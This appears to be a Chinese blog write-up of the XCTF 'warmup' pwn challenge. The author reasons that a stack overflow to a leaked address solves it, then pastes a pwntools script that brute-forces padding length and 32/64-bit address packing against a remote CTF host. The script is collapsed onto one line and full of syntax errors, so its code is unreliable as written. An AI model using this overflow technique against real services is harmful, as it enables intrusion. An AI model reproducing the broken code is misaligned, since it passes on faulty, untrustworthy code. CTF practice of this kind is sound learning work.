『攻防世界』:進階區 | warmup
阿新 • • 發佈:2020-08-23
這道題感覺有點怪怪的,題目頁面並沒有給出附件,實驗了下可以開啟線上場景
先用nc看一看程式執行起來是怎麼樣的。
首先一句warm up,再給我們列印了一個地址,這個地址我猜是解題的關鍵,應該需要通過棧溢位到這個地址就可以吧,畢竟這只是道暖身題,但是接下來的問題是如果我們選擇棧溢位則需要知道棧溢位的cylib構造的長度以及地址的打包方式。
這兩個問題我可以通過指令碼爆破出來就可以了,雖然邏輯非常簡單,但是對於沒有學習過Python的我來說還是要花費億點功夫的。
大概就是for(i ,i < cylib, i++){ for(j =1, j<p32(), j++){io = remote();io.recv();payload = ...;io.sendline;io.interactive();} }, 上面那個就是一點點的邏輯,不用太在意裡面的錯誤。 = =
最後附上老溼的exp:
from pwn import * #context.load_level = 'debug' addr = 0x40060d def fuzz(r,num,flag): payload = 'a' * num if flag = =1 payload += p32(addr) if flag == 2 payload += p64(addr) r.recvuntil(">") r.sendline(payload) def main() for i in range(1000):EXPprint(i) for j in range(3): try: r = remote("111.198.29.45",46588) fuzz(r,i,j) text = r.recv() print('text.len='+str(len(text))+'text='+text) print('num= '+ str(i) + 'flag =' + str(j) r.interactive()except: r.close() if__name__ == '__main__' : main()
老溼的部落格:www.sailingplace.cn